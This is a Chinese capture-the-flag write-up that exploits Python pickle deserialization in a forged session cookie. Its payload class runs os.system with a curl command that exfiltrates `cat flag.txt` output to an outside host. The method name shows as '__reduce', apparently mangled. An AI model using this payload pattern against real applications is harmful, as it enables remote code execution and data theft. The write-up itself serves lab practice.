这一题是一个简单的python反序列化,简单的写个脚本就好,没啥好说的
那么就来水一篇buuctf 小号靶机的使用
众所周知,buuctf靶场经历了内网K8S改造,导致以前的小号的内网靶机的方法出了问题,我也疑惑了很久,该怎么去用这台不知道公网ip的靶机
后来我想明白了,给的是apache2的公网ip,那就直接外带啊,果然成功了,哈哈。。
不说废话了,先来看看这题,在买东西的时候抓包看cookie是常规操作:
抓到的包里cookie:
session=gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu
看着像base64,解码一下,发现一个标志:anti_tamper_hmac
无法逆向的hmac,那么结合题目的pickle,八九不离十的猜是反序列化
关于pickle的指令解析可以看这个师傅的
https://blog.csdn.net/weixin_45669205/article/details/116274988
反正构造就完事了
class A(object):
def __reduce(self):
return(eval,("__import__('os').system('curl http://6c59e8a3-c4c8-46fc-9875-d658ec5cc0eb.node4.buuoj.cn:81/`cat flag.txt`')",))
a=A()
print(pickle.dumps(a))
print(base64.b64encode(pickle.dumps(a)))
外带成功,撒花!